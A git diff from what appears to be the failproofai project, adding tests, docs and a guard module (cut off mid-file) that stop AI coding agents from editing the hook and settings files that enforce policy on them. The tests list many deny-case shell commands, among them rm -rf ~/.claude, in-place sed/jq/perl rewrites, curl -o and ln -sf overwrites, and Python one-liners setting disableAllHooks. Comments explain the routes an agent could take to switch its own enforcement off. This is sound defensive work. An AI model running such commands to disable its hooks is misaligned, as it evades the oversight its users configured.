b/__tests__/hooks/claude-hooks-switch.test.ts @@ -0,0 +1,204 @@ +import { describe, it, expect, beforeEach, afterEach } from "vitest"; +import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { dirname, join } from "node:path"; + +import { + CLAUDE_MANAGED_SETTINGS_PATHS, + claudeHooksSwitchedOffBy, + claudeSettingsLayersByPrecedence, +} from "../../src/hooks/claude-hooks-switch"; +import { + claudeHooksSwitchedOff, + gatherStatusFacts, + pickStatusAttention, + renderStatusScreen, + type StatusFacts, +} from "../../src/hooks/config-status"; +import { FAILPROOFAI_HOOK_MARKER } from "../../src/hooks/types"; + +/** + * #1794: `"disableAllHooks": true` in any Claude Code settings layer turns off + * every hook in the session, and nothing in failproofai read the key — so a + * machine whose agent had set it still reported itself as enforcing. + */ +describe("claudeHooksSwitchedOffBy — Claude Code's precedence", () => { + const files = (contents: Record) => (path: string) => { + if (!(path in contents)) throw new Error("ENOENT"); + const body = contents[path]; + return typeof body === "string" ? body : JSON.stringify(body); + }; + const layers = ["/managed.json", "/p/.claude/settings.local.json", "/p/.claude/settings.json", "/h/.claude/settings.json"]; + + it("names the user settings when they switch hooks off", () => { + expect(claudeHooksSwitchedOffBy(layers, files({ "/h/.claude/settings.json": { disableAllHooks: true } }))).toBe( + "/h/.claude/settings.json", + ); + }); + + it("names a project's local settings, which override the user's", () => { + const read = files({ + "/h/.claude/settings.json": { hooks: {} }, + "/p/.claude/settings.local.json": { disableAllHooks: true }, + }); + expect(claudeHooksSwitchedOffBy(layers, read)).toBe("/p/.claude/settings.local.json"); + }); + + it("lets a false higher up win over a true below it", () => { + const read = files({ "/p/.claude/settings.json": { disableAllHooks: false }, "/h/.claude/settings.json": { disableAllHooks: true } }); + expect(claudeHooksSwitchedOffBy(layers, read)).toBeNull(); + expect(claudeHooksSwitchedOffBy(layers, files({ "/managed.json": { disableAllHooks: false }, "/p/.claude/settings.local.json": { disableAllHooks: true } }))).toBeNull(); + }); + + it("skips a missing, unparseable or non-object file, and a non-boolean value", () => { + const read = files({ + "/managed.json": "{not json", + "/p/.claude/settings.local.json": [1, 2], + "/p/.claude/settings.json": { disableAllHooks: "true" }, + "/h/.claude/settings.json": { disableAllHooks: true }, + }); + expect(claudeHooksSwitchedOffBy(layers, read)).toBe("/h/.claude/settings.json"); + expect(claudeHooksSwitchedOffBy(layers, files({}))).toBeNull(); + }); + + it("orders the layers managed, local, project, user", () => { + expect(claudeSettingsLayersByPrecedence({ user: "u", project: "p", local: "l" }, "linux")).toEqual([ + CLAUDE_MANAGED_SETTINGS_PATHS.linux, + "l", + "p", + "u", + ]); + expect(claudeSettingsLayersByPrecedence({ user: "u", project: "p", local: "l" }, "win32")).toEqual(["l", "p", "u"]); + }); +}); + +describe("config --status — disableAllHooks", () => { + let dir: string; + const saved: Record = {}; + const ENV = ["HOME", "CLAUDE_CONFIG_DIR", "FAILPROOFAI_HOME"] as const; + + beforeEach(() => { + dir = mkdtempSync(join(tmpdir(), "fpai-claude-switch-")); + for (const key of ENV) saved[key] = process.env[key]; + process.env.HOME = join(dir, "home"); + delete process.env.CLAUDE_CONFIG_DIR; + process.env.FAILPROOFAI_HOME = join(dir, "home", ".failproofai"); + mkdirSync(process.env.FAILPROOFAI_HOME, { recursive: true }); + }); + + afterEach(() => { + for (const key of ENV) { + if (saved[key] === undefined) delete process.env[key]; + else process.env[key] = saved[key]; + } + rmSync(dir, { recursive: true, force: true }); + }); + + const put = (path: string, body: unknown) => { + mkdirSync(dirname(path), { recursive: true }); + writeFileSync(path, JSON.stringify(body)); + }; + const ourHooks = { + hooks: { + PreToolUse: [{ hooks: [{ type: "command", command: "/bin/failproofai --hook PreToolUse", [FAILPROOFAI_HOOK_MARKER]: true }] }], + }, + }; + + it("reports the file that switches failproofai's installed Claude hooks off", () => { + const project = join(dir, "project"); + put(join(dir, "home", ".claude", "settings.json"), ourHooks); + put(join(project, ".claude", "settings.local.json"), { disableAllHooks: true }); + expect(claudeHooksSwitchedOff(project)).toBe(join(project, ".claude", "settings.local.json")); + }); + + it("says nothing when failproofai has no Claude hooks to switch off", () => { + const project = join(dir, "project"); + put(join(dir, "home", ".claude", "settings.json"), { disableAllHooks: true }); + expect(claudeHooksSwitchedOff(project)).toBeNull(); + }); + + it("says nothing while the hooks are on", () => { + const project = join(dir, "project"); + put(join(dir, "home", ".claude", "settings.json"), { ...ourHooks, disableAllHooks: false }); + expect(claudeHooksSwitchedOff(project)).toBeNull(); + }); + + it("carries the finding into the status facts through its seam", async () => { + const f = await gatherStatusFacts({ + now: 0, + cwd: join(dir, "project"), + daemonStatus: () => "not-installed", + daemonAnswering: () => false, + detectInstalled: () => ["claude"], + notEnforcing: () => null, + codexTrust: () => ({ kind: "none" }), + claudeHooksOff: () => "/p/.claude/settings.local.json", + }); + expect(f.claudeHooksOff).toEqual({ path: "/p/.claude/settings.local.json" }); + const quiet = await gatherStatusFacts({ + now: 0, + cwd: join(dir, "project"), + daemonStatus: () => "not-installed", + daemonAnswering: () => false, + detectInstalled: () => ["claude"], + notEnforcing: () => null, + codexTrust: () => ({ kind: "none" }), + claudeHooksOff: () => null, + }); + expect(quiet.claudeHooksOff).toBeUndefined(); + }); + + const base = (over: Partial = {}): StatusFacts => ({ + now: 0, + daemon: { + supported: true, + platform: "linux", + service: "running", + answering: true, + configured: true, + version: "1.0.0", + skew: null, + checkCommand: null, + }, + pauses: [], + cloud: { kind: "none" }, + agents: { traced: 1, notInstalled: 0 }, + policies: { + packOn: 10, + firstPack: "FailproofAI/policies@1.0.0", + morePacks: 0, + cloudOn: 0, + observing: 0, + customFiles: 0, + legacy: 0, + refusedPacks: 0, + packsInstalled: 1, + }, + notEnforcing: null, + ...over, + }); + const PLAIN = { version: "1.0.0", cols: 120, color: false }; + + it("shows a claude row and a failing attention line", () => { + const facts = base({ claudeHooksOff: { path: "/p/.claude/settings.local.json" } }); + const screen = renderStatusScreen(facts, PLAIN).join("\n"); + expect(screen).toMatch(/claude\s+○ Not enforcing: disableAllHooks in \/p\/\.claude\/settings\.local\.json/); + expect(pickStatusAttention(facts)).toEqual({ + severity: "fail", + text: "Claude Code is running none of failproofai's hooks: disableAllHooks is true.", + detail: 'Remove "disableAllHooks" from /p/.claude/settings.local.json.', + }); + }); + + it("ranks it above 'not enforcing yet', below a daemon that denies everything", () => { + const off = { claudeHooksOff: { path: "/h/.claude/settings.json" } }; + expect(pickStatusAttention(base({ ...off, notEnforcing: "no-policies" }))?.text).toMatch(/disableAllHooks/); + const down = base({ ...off, daemon: { ...base().daemon, answering: false } }); + expect(pickStatusAttention(down)?.text).toMatch(/failproofaid is not answering/); + }); + + it("shows no claude row while the hooks are on", () => { + expect(renderStatusScreen(base(), PLAIN).join("\n")).not.toMatch(/^\s*claude\s/m); + expect(pickStatusAttention(base())).toBeNull(); + }); +}); diff --git a/__tests__/hooks/settings-guard.test.ts b/__tests__/hooks/settings-guard.test.ts new file mode 100644 index 000000000..4885f088d --- /dev/null +++ b/__tests__/hooks/settings-guard.test.ts @@ -0,0 +1,428 @@ +// @vitest-environment node +import { describe, it, expect, vi, beforeAll, afterAll } from "vitest"; +import { mkdirSync, mkdtempSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { BUILTIN_POLICIES } from "../../src/hooks/builtin-policies"; +import { POLICY_CATALOG } from "../../src/hooks/policy-catalog"; +import type { PolicyContext } from "../../src/hooks/policy-types"; +import { + agentPatchTargetPaths, + agentToolWritePaths, + isAgentConfigDirPath, + isAgentSettingsPath, +} from "../../src/hooks/agent-settings-guard"; + +// Same mocks as state-guard.test.ts: no policy under test may spawn anything. +// The filesystem IS read here — the guard follows symlinks — but only under +// a throwaway HOME and work directory created below. +vi.mock("node:fs/promises", () => ({ + readFile: vi.fn(), + writeFile: vi.fn(), + stat: vi.fn().mockResolvedValue({ size: 0 }), + open: vi.fn(), +})); + +vi.mock("node:child_process", () => ({ + execSync: vi.fn(), + execFileSync: vi.fn(), +})); + +const policy = BUILTIN_POLICIES.find((p) => p.name === "block-failproofai-commands")!; +const PROJ = "/work/proj"; + +let root: string; +let home: string; +let savedHome: string | undefined; + +beforeAll(() => { + // os.homedir() reads HOME on every call on POSIX, so the guard's `~` and its + // home-directory symlink check both land in this directory, never the real one. + root = mkdtempSync(join(tmpdir(), "fpai-settings-guard-")); + home = join(root, "home"); + mkdirSync(home, { recursive: true }); + savedHome = process.env.HOME; + process.env.HOME = home; +}); + +afterAll(() => { + if (savedHome === undefined) delete process.env.HOME; + else process.env.HOME = savedHome; + rmSync(root, { recursive: true, force: true }); +}); + +function run(toolName: string, toolInput: Record, cwd: string = PROJ) { + const ctx: PolicyContext = { eventType: "PreToolUse", payload: {}, toolName, toolInput, session: { cwd } }; + return policy.fn(ctx); +} + +const decision = async (toolName: string, toolInput: Record, cwd?: string) => + (await run(toolName, toolInput, cwd)).decision; + +/** Denied, and for the settings reason rather than the state or CLI reason next to it. */ +const deniedAsSettings = async (toolName: string, toolInput: Record, cwd?: string) => { + const result = await run(toolName, toolInput, cwd); + return result.decision === "deny" && /settings or hook file/.test(result.reason ?? ""); +}; + +const write = (filePath: string, cwd?: string) => deniedAsSettings("Write", { file_path: filePath, content: "{}" }, cwd); +const bash = (command: string, cwd?: string) => deniedAsSettings("Bash", { command }, cwd); +const bashDecision = (command: string, cwd?: string) => decision("Bash", { command }, cwd); + +/** + * #1794: the always-on guard refused writes to `~/.failproofai` only. An agent + * could set `"disableAllHooks": true` in any Claude Code settings layer, or take + * failproofai's entries out of any CLI's hook file, and from then on no policy + * ran — this guard included — with nothing anywhere saying so. + */ +describe("block-failproofai-commands — agent settings and hook files", () => { + describe("the reported edits", () => { + it("denies setting disableAllHooks through Edit on the user settings", async () => { + expect( + await deniedAsSettings("Edit", { + file_path: `${home}/.claude/settings.json`, + old_string: "{", + new_string: '{"disableAllHooks": true,', + }), + ).toBe(true); + }); + + it("denies writing a project's local settings, which overrides the user's", async () => { + expect( + await deniedAsSettings("Write", { + file_path: `${PROJ}/.claude/settings.local.json`, + content: '{"disableAllHooks":true}', + }), + ).toBe(true); + }); + + it("denies the jq-then-mv rewrite from the shell", async () => { + expect(await bash(`jq '.disableAllHooks=true' ~/.claude/settings.json > t && mv t ~/.claude/settings.json`)).toBe(true); + }); + + it("denies emptying another CLI's hooks file", async () => { + expect(await write(`${home}/.codex/hooks.json`)).toBe(true); + }); + }); + + describe("every integration's files", () => { + // What `failproofai policies --install` writes for each CLI, plus the files + // that can switch those hooks off without touching them (Codex's trust + // hashes in config.toml, Goose's plugin registration). + const homeFiles = [ + ".claude/settings.json", + ".claude/settings.local.json", + ".codex/hooks.json", + ".codex/config.toml", + ".copilot/hooks/failproofai.json", + ".cursor/hooks.json", + ".config/opencode/opencode.json", + ".config/opencode/plugins/failproofai.mjs", + ".pi/agent/settings.json", + ".pi/agent/extensions/failproofai/index.ts", + ".gemini/settings.json", + ".gemini/config/hooks.json", + ".agents/plugins/failproofai/hooks/hooks.json", + ".config/goose/config.yaml", + ".factory/hooks.json", + ".config/devin/config.json", + ".hermes/config.yaml", + ".hermes/profiles/work/config.yaml", + ".hermes-work/config.yaml", + ".hermes/plugins/failproofai/__init__.py", + ".openclaw/openclaw.json", + ".openclaw-work/openclaw.json", + ]; + it.each(homeFiles)("denies writing ~/%s", async (file) => { + expect(await write(`${home}/${file}`)).toBe(true); + }); + + const projectFiles = [ + ".claude/settings.json", + ".codex/hooks.json", + ".github/hooks/failproofai.json", + ".cursor/hooks.json", + ".opencode/opencode.json", + ".opencode/plugins/failproofai.mjs", + ".pi/settings.json", + ".agents/hooks.json", + ".agents/plugins/failproofai/hooks/hooks.json", + ".factory/hooks.json", + ".devin/config.json", + ]; + it.each(projectFiles)("denies writing /%s", async (file) => { + expect(await write(`${PROJ}/${file}`)).toBe(true); + }); + }); + + describe("the tools that reach them", () => { + it("is invoked for MultiEdit, and denies it", async () => { + const entry = POLICY_CATALOG.find((p) => p.name === "block-failproofai-commands")!; + expect(entry.match.toolNames).toEqual(expect.arrayContaining(["Bash", "Write", "Edit", "MultiEdit", "NotebookEdit"])); + expect( + await deniedAsSettings("MultiEdit", { + file_path: `${home}/.claude/settings.json`, + edits: [{ old_string: "{", new_string: '{"disableAllHooks": true,' }], + }), + ).toBe(true); + }); + + it("reads the paths an apply_patch edit carries inside its patch", async () => { + // Codex, Copilot and OpenCode canonicalize apply_patch to Edit with no + // file_path at all, so a guard reading only file_path saw nothing. + const update = "*** Begin Patch\n*** Update File: .claude/settings.json\n@@\n-{\n+{\"disableAllHooks\": true,\n*** End Patch\n"; + expect(await deniedAsSettings("Edit", { command: ["apply_patch", update] })).toBe(true); + expect(await deniedAsSettings("Edit", { input: `*** Begin Patch\n*** Add File: ${home}/.codex/hooks.json\n+{}\n*** End Patch` })).toBe(true); + expect(await deniedAsSettings("Edit", { patchText: "*** Begin Patch\n*** Delete File: .cursor/hooks.json\n*** End Patch" })).toBe(true); + expect(await deniedAsSettings("Edit", { input: "*** Begin Patch\n*** Update File: notes.md\n*** Move to: .github/hooks/failproofai.json\n*** End Patch" })).toBe(true); + expect(await deniedAsSettings("Edit", { patch: "--- a/.cursor/hooks.json\n+++ b/.cursor/hooks.json\n@@ -1 +1 @@\n-x\n+y\n" })).toBe(true); + }); + + it("allows an apply_patch edit of ordinary files, and a Write whose content is a diff", async () => { + expect(await decision("Edit", { command: ["apply_patch", "*** Begin Patch\n*** Update File: src/index.ts\n@@\n-a\n+b\n*** End Patch\n"] })).toBe("allow"); + // The content of a Write is content: its file_path is what it writes. + expect( + await decision("Write", { file_path: `${PROJ}/docs/fix.md`, content: "+++ b/.claude/settings.json\n*** Update File: .claude/settings.json" }), + ).toBe("allow"); + }); + }); + + describe("paths as the tool would open them", () => { + it("resolves a relative path against the session's cwd", async () => { + expect(await write(".claude/settings.json")).toBe(true); + expect(await write("../other/.claude/settings.local.json")).toBe(true); + expect(await write("settings.json", `${home}/.claude`)).toBe(true); + }); + + it("expands ~", async () => { + expect(await write("~/.claude/settings.json")).toBe(true); + }); + + it("ignores case, as macOS's default filesystem does", async () => { + expect(await write(`${home}/.Claude/Settings.json`)).toBe(true); + expect(await write(`${home}/.CODEX/HOOKS.JSON`)).toBe(true); + }); + }); + + describe("symlinks", () => { + let work: string; + beforeAll(() => { + work = join(root, "work"); + mkdirSync(join(work, "real", ".claude"), { recursive: true }); + mkdirSync(join(work, "proj"), { recursive: true }); + writeFileSync(join(work, "real", ".claude", "settings.json"), "{}"); + symlinkSync(join(work, "real", ".claude", "settings.json"), join(work, "proj", "cfg.json")); + symlinkSync(join(work, "real", ".claude"), join(work, "proj", "link")); + // The dotfiles layout: the real file names no agent directory at all. + mkdirSync(join(home, "dotfiles", "claude"), { recursive: true }); + mkdirSync(join(home, ".claude"), { recursive: true }); + writeFileSync(join(home, "dotfiles", "claude", "settings.json"), "{}"); + writeFileSync(join(home, "dotfiles", "zshrc"), ""); + symlinkSync(join(home, "dotfiles", "claude", "settings.json"), join(home, ".claude", "settings.json")); + }); + + it("denies a write through a link to a settings file", async () => { + expect(await write(join(work, "proj", "cfg.json"), join(work, "proj"))).toBe(true); + }); + + it("denies creating a settings file through a linked directory", async () => { + expect(await write(join(work, "proj", "link", "settings.local.json"), join(work, "proj"))).toBe(true); + }); + + it("denies editing the real file behind the home directory's settings link", async () => { + expect( + await deniedAsSettings("Edit", { + file_path: join(home, "dotfiles", "claude", "settings.json"), + old_string: "{", + new_string: '{"disableAllHooks": true,', + }), + ).toBe(true); + }); + + it("allows the rest of a dotfiles directory", async () => { + expect(await decision("Write", { file_path: join(home, "dotfiles", "zshrc"), content: "" })).toBe("allow"); + }); + }); + + describe("ordinary file work stays allowed", () => { + it.each([ + `${PROJ}/src/settings.json`, + `${PROJ}/config/hooks.json`, + `${PROJ}/hooks.json`, + `${PROJ}/.claude/commands/review.md`, + `${PROJ}/.claude/agents/reviewer.md`, + `${PROJ}/.claude/worktrees/feature/src/index.ts`, + `${PROJ}/.claude/worktrees/feature/.github/workflows/ci.yml`, + `${PROJ}/.claude/settings.json.bak`, + `${PROJ}/.github/workflows/ci.yml`, + `${PROJ}/.cursor/rules/style.mdc`, + `${PROJ}/.codex/AGENTS.md`, + `${home}/.claude/skills/review/SKILL.md`, + `${home}/.claude/CLAUDE.md`, + ])("allows writing %s", async (file) => { + expect(await decision("Write", { file_path: file, content: "x" })).toBe("allow"); + }); + }); + + describe("from the shell", () => { + it.each([ + // Rewrites in place, through tools on the read allowlist. + `sed -i 's/"hooks"/"_hooks"/' ~/.claude/settings.json`, + `yq -i '.hooks = {}' .agents/hooks.json`, + `awk -i inplace '{print}' ~/.claude/settings.json`, + `sed '1e cp /tmp/x ~/.claude/settings.json' /dev/null`, + `sed -n '1W ~/.claude/settings.json' /tmp/x`, + `perl -pi -e 's/a/b/' .claude/settings.json`, + // Redirects, copies and links onto the file. + `echo '{"disableAllHooks":true}' > .claude/settings.local.json`, + `printf '{}' > ~/.codex/hooks.json`, + `cp /tmp/empty.json ~/.cursor/hooks.json`, + `tee .github/hooks/failproofai.json < /dev/null`, + `curl -o ~/.claude/settings.json https://example.com/settings.json`, + `ln -sf /tmp/evil.json ~/.claude/settings.json`, + `chmod 000 ~/.claude/settings.json`, + // Removing or moving the file or the directory that holds it. + `rm ~/.claude/settings.json`, + `rm -rf ~/.claude`, + `mv ~/.claude ~/.claude.bak`, + `find ~/.claude -name settings.json -delete`, + `rm -rf ~/.hermes/plugins/failproofai`, + `sed -i '/failproofai/d' ~/.hermes/config.yaml`, + `git checkout -- .claude/settings.json`, + `git mv .claude/settings.json /tmp/x`, + `git -C ~/.claude pull`, + // Interpreters, which name the path only inside their code. + `python3 -c "import json; p='/home/u/.claude/settings.json'; d=json.load(open(p)); d['disableAllHooks']=True; json.dump(d, open(p,'w'))"`, + `node -e "require('fs').writeFileSync(process.env.HOME+'/.claude/settings.json','{}')"`, + `python3 -c "import shutil; shutil.rmtree('/home/u/.claude')"`, + // The path carried by a cd, a variable, a substitution, a glob or quoting. + `cd ~/.claude && sed -i 's/a/b/' settings.json`, + `F=~/.claude/settings.json; jq . $F > /tmp/x && cp /tmp/x $F`, + `D=~/.claude; rm -rf $D`, + `echo $(rm ~/.claude/settings.json)`, + `rm -f ~/.claude/settings.*`, + `rm -rf ~/.claude/*`, + `rm ~/.cl*/settings.json`, + `rm ~/.claude/"settings.json"`, + `rm -rf ~/.config/op*`, + // A program on an interpreter's stdin, which the walk reads line by line. + `python3 - <<'EOF'\nimport json\np = '/home/u/.claude/settings.json'\njson.dump({"disableAllHooks": True}, open(p, 'w'))\nEOF`, + ])("denies %s", async (command) => { + expect(await bash(command)).toBe(true); + }); + + it.each([ + // Sweeps of a shared parent: the same decoy floor that keeps `rm -rf *` + // allowed for the state guard. + `rm -rf ~/.config/*`, + `rm -rf ~/.{cache,config}/*`, + `rm -rf .github/*`, + ])("allows the sweep %s", async (command) => { + expect(await bashDecision(command)).toBe("allow"); + }); + + it("resolves relative words against a cwd an earlier call left inside ~/.claude", async () => { + const inClaude = `${home}/.claude`; + expect(await bash(`sed -i 's/x/y/' settings.json`, inClaude)).toBe(true); + expect(await bash(`rm *.json`, inClaude)).toBe(true); + expect(await bash(`rm -rf .`, inClaude)).toBe(true); + // The rest of that directory is ordinary files. + expect(await bashDecision(`rm -rf skills/old`, inClaude)).toBe("allow"); + expect(await bashDecision(`sed -i 's/a/b/' commands/review.md`, inClaude)).toBe("allow"); + }); + + it.each([ + `cat ~/.claude/settings.json`, + `jq '.hooks' ~/.claude/settings.json`, + `cat ~/.claude/settings.json | jq '.disableAllHooks=true'`, + `sed -n '1,20p' ~/.claude/settings.json`, + `sed 's/a/b/' ~/.claude/settings.json`, + `cp ~/.claude/settings.json /tmp/settings.backup.json`, + `diff ~/.claude/settings.json /tmp/x.json`, + `grep -n failproofai ~/.codex/hooks.json`, + `ls -la ~/.claude`, + `git add .claude/settings.json && git commit -m "Add project hooks"`, + `git diff .claude/settings.json`, + `git log -p -- .claude/settings.json`, + `mkdir -p .claude/commands`, + `mkdir -p .claude`, + `touch .claude/settings.local.json`, + `rm -rf .claude/worktrees/old`, + `rm -rf ~/.claude/projects/-home-u-old`, + `git worktree remove .claude/worktrees/feature`, + `cd .claude/worktrees/feature && git status`, + `rm -rf node_modules dist`, + `rm -rf *`, + `rm */*.json`, + `rm -rf ~/.*`, + `echo "edit ~/.claude/settings.json yourself"`, + `gh pr create --title x --body "Blocks edits to ~/.claude/settings.json"`, + `code ~/.claude/settings.json`, + `bun test __tests__/hooks/settings-guard.test.ts`, + ])("allows %s", async (command) => { + expect(await bashDecision(command)).toBe("allow"); + }); + }); + + describe("the state guard beside it is unchanged", () => { + it("still denies the state for the state's own reason", async () => { + const result = await run("Bash", { command: "rm -rf ~/.failproofai" }); + expect(result.decision).toBe("deny"); + expect(result.reason).toMatch(/failproofai's own state/); + expect(await decision("Write", { file_path: `${home}/.failproofai/policies-config.json`, content: "{}" })).toBe("deny"); + }); + + it("still allows reading the state", async () => { + expect(await bashDecision("cat ~/.failproofai/policies-config.json")).toBe("allow"); + }); + + // The walk is shared, so the writers it learned for settings files reach + // the state too. Each of these was allowed before. + it.each([ + `yq -i '.enabledPolicies = []' ~/.failproofai/policies-config.json`, + `awk -i inplace '{print}' ~/.failproofai/policies-config.json`, + `sed '1e rm -rf ~/.failproofai' /dev/null`, + `python3 -c "import os; p='/home/u/.failproofai/policies/packs/installed.json'; os.remove(p)"`, + `git mv ~/.failproofai/policies-config.json /tmp/x`, + ])("now denies %s", async (command) => { + const result = await run("Bash", { command }); + expect(result.decision).toBe("deny"); + expect(result.reason).toMatch(/failproofai's own state/); + }); + }); +}); + +describe("agent-settings-guard helpers", () => { + it("matches settings files anchored at the end, and config directories exactly", () => { + expect(isAgentSettingsPath("/h/.claude/settings.json")).toBe(true); + expect(isAgentSettingsPath(".claude/settings.local.json")).toBe(true); + expect(isAgentSettingsPath("/h/.claude/settings.json.bak")).toBe(false); + expect(isAgentSettingsPath("/h/my.claude/settings.json")).toBe(false); + expect(isAgentSettingsPath("/h/.claude/projects/x/settings.json")).toBe(false); + expect(isAgentConfigDirPath("/h/.claude")).toBe(true); + expect(isAgentConfigDirPath("/h/.claude/")).toBe(true); + expect(isAgentConfigDirPath("/h/.claude/skills")).toBe(false); + expect(isAgentConfigDirPath("/h/.github")).toBe(false); + expect(isAgentConfigDirPath("/h/.github/hooks")).toBe(true); + }); + + it("reads file paths before patch text, and patch text only without them", () => { + expect(agentToolWritePaths({ file_path: "/a", content: "*** Update File: /b" })).toEqual(["/a"]); + expect(agentToolWritePaths({ notebook_path: "/n.ipynb" })).toEqual(["/n.ipynb"]); + expect(agentToolWritePaths({ command: ["apply_patch", "*** Begin Patch\n*** Update File: x/y.ts\n*** End Patch"] })).toEqual(["x/y.ts"]); + expect(agentToolWritePaths(undefined)).toEqual([]); + }); + + it("finds every file a patch touches", () => { + expect( + agentPatchTargetPaths( + "*** Begin Patch\n*** Add File: a.ts\n*** Update File: b.ts\n*** Move to: c.ts\n*** Delete File: d.ts\n*** End Patch", + ), + ).toEqual(["a.ts", "b.ts", "c.ts", "d.ts"]); + expect(agentPatchTargetPaths("--- a/x.json\n+++ b/x.json\n--- /dev/null\n+++ b/new.json\n")).toEqual([ + "x.json", + "x.json", + "new.json", + ]); + }); +}); diff --git a/docs/reference/failproof-cli.mdx b/docs/reference/failproof-cli.mdx index e27e98466..3fb42c22f 100644 --- a/docs/reference/failproof-cli.mdx +++ b/docs/reference/failproof-cli.mdx @@ -178,6 +178,12 @@ Use configuration files for persistent machine behavior. Environment variables a Agent-specific home variables such as `CLAUDE_PROJECTS_PATH`, `CURSOR_HOME`, `HERMES_HOME`, and `OPENCLAW_HOME` override where Failproof AI discovers local sessions for that harness. +## Agent hook settings + +Agents cannot edit the files their CLI loads failproofai's hooks from: Claude Code's `settings*.json` in `~/.claude/` and in any project's `.claude/`, Codex's `hooks.json` and `config.toml`, and the hook and plugin files of the other supported agents. One line there switches every policy off — `"disableAllHooks": true` in any Claude Code settings file does — so `block-failproofai-commands` refuses those writes, from file tools and from the shell alike. Reading them stays allowed. Change them yourself, or with `failproofai policies --install` and `--uninstall`. + +`failproofai config --status` reports a `disableAllHooks` that is switching failproofai's Claude Code hooks off, and names the file that sets it. + ## Pause or remove a machine safely ```bash diff --git a/docs/start/quickstart.mdx b/docs/start/quickstart.mdx index daef2d525..763803fc4 100644 --- a/docs/start/quickstart.mdx +++ b/docs/start/quickstart.mdx @@ -92,7 +92,7 @@ This quickstart gets one machine reporting sessions, runs an audit, and deploys Read any pack before taking it with `failproofai policies show /`, and see [policy packs](/policies/packs) for taking only part of one. - Until this runs, the only thing enforcing is `block-failproofai-commands` — the always-on guard that stops an agent switching Failproof AI off. `failproofai policies` lists what is on. + Until this runs, the only thing enforcing is `block-failproofai-commands` — the always-on guard that stops an agent switching Failproof AI off, whether through its CLI, its files, or the agent's own hook settings. `failproofai policies` lists what is on. Follow [Prevent your first failure with a policy](/start/first-policy). Start in observe mode, inspect matches, then enforce the reviewed version. diff --git a/src/hooks/agent-settings-guard.ts b/src/hooks/agent-settings-guard.ts new file mode 100644 index 000000000..989e55eb2 --- /dev/null +++ b/src/hooks/agent-settings-guard.ts @@ -0,0 +1,392 @@ +/** + * The files through which every agent CLI calls failproofai, and the checks the + * always-on guard (`block-failproofai-commands`) runs against writes to them. + * + * Every integration wires failproofai in through a file the agent can write as + * itself: Claude Code's settings layers, Codex's hooks.json and the trust + * hashes in its config.toml, Copilot's and Cursor's hook files, OpenCode's + * config and plugin shim, Pi's settings and extensions, Antigravity's, Factory's, + * Devin's and Goose's hook files, Hermes' config and plugin link, OpenClaw's + * config. Editing one of them is the shortest way for an agent to switch its + * own enforcement off, and it never has to name failproofai to do it: + * `"disableAllHooks": true` in ANY Claude Code settings layer turns off every + * hook in the session, wherever the hooks were installed, and Claude Code picks + * the edit up from a file watcher, so it lands before the agent's next tool + * call. The guard used to check only `~/.failproofai`, and only reads of these + * files were ever refused (by the opt-in `block-read-outside-cwd`). + * + * Every write is refused, not only the ones that disable hooks, because a + * content check cannot be finished. Claude Code skips a settings file that does + * not parse or that holds one value its schema rejects, so an edit that leaves + * the hooks in place and breaks a different key switches them off just as + * well; `env` in the same file reaches the hook process; a hook command + * repointed at `true` keeps its marker. The person at the keyboard, their + * editor, `/permissions` and `failproofai policies --install` still write these + * files: only the agent's own tool calls are refused. + * + * Names here are long on purpose: the CLI ships as one scope-hoisted bundle, + * and a short top-level name that matches a local inside a builtin policy makes + * the bundler rename that local, which changes the source the audit cache keys + * on (see config-status.ts). + */ +import { realpathSync } from "node:fs"; +import { homedir } from "node:os"; +import { basename, dirname, isAbsolute, join, resolve } from "node:path"; + +/** + * One shape per protected file, as the path's TAIL from the agent's config + * directory on. `[\\/]` so a Windows path matches too. + */ +const AGENT_SETTINGS_FILE_SHAPES: readonly RegExp[] = [ + // Claude Code: every settings layer. `disableAllHooks` in any one of them is + // read after precedence, so a project or local file overrides the user file. + /\.claude[\\/]settings(?:\.[^\\/]+)?\.json/, + // Codex: the hooks, and config.toml, which holds the trust hashes Codex checks + // before it runs a hooks.json hook at all. + /\.codex[\\/](?:hooks\.json|config\.toml)/, + // Copilot CLI (user scope), and Copilot CLI / VS Code agent mode (project). + /\.copilot[\\/]hooks[\\/][^\\/]+\.json/, + /\.github[\\/]hooks[\\/][^\\/]+\.json/, + /\.cursor[\\/]hooks\.json/, + // OpenCode: the config that registers the plugin, and the plugin shim itself. + /\.opencode[\\/](?:opencode\.jsonc?|plugins[\\/][^\\/]+\.(?:mjs|js|ts))/, + /\.config[\\/]opencode[\\/](?:opencode\.jsonc?|config\.json|plugins[\\/][^\\/]+\.(?:mjs|js|ts))/, + // Pi: settings, and the extension directories it loads code from. + /\.pi[\\/](?:agent[\\/])?(?:settings\.json|extensions(?:[\\/].*)?)/, + // Antigravity reuses ~/.gemini/; its project hooks live in .agents/. + /\.gemini[\\/](?:settings\.json|config[\\/]hooks\.json)/, + /\.agents[\\/]hooks\.json/, + // Goose: the plugin directory failproofai owns, and the config it registers in. + /\.agents[\\/]plugins[\\/]failproofai(?:[\\/].*)?/, + /\.config[\\/]goose[\\/]config\.yaml/, + /\.factory[\\/]hooks\.json/, + /(?:\.config[\\/]devin|\.devin)[\\/]config\.json/, + // Hermes: every profile's config.yaml, and the plugin link in its plugins/. + /\.hermes(?:-[^\\/]+)?(?:[\\/]profiles[\\/][^\\/]+)?[\\/](?:config\.yaml|plugins[\\/]failproofai(?:[\\/].*)?)/, + // OpenClaw: every profile's openclaw.json. + /\.openclaw(?:-[^\\/]+)?[\\/]openclaw\.json/, +]; + +/** + * The directories that hold those files. Deleting or moving one removes the + * file inside it, so `rm -rf ~/.claude` switches the hooks off as surely as + * editing settings.json does. Only the agents' own directories: `.github` and + * `.config` hold far too much else to refuse every write to them. + */ +const AGENT_CONFIG_DIR_SHAPES: readonly RegExp[] = [ + /\.(?:claude|codex|cursor|factory|devin|opencode|gemini|pi|agents)/, + /\.copilot(?:[\\/]hooks)?/, + /\.github[\\/]hooks/, + /\.opencode[\\/]plugins/, + /\.config[\\/](?:opencode(?:[\\/]plugins)?|devin|goose)/, + /\.pi[\\/](?:agent(?:[\\/]extensions)?|extensions)/, + /\.gemini[\\/]config/, + /\.agents[\\/]plugins(?:[\\/]failproofai(?:[\\/]hooks)?)?/, + /\.hermes(?:-[^\\/]+)?(?:[\\/]profiles(?:[\\/][^\\/]+)?)?(?:[\\/]plugins)?/, + /\.openclaw(?:-[^\\/]+)?/, +]; + +const 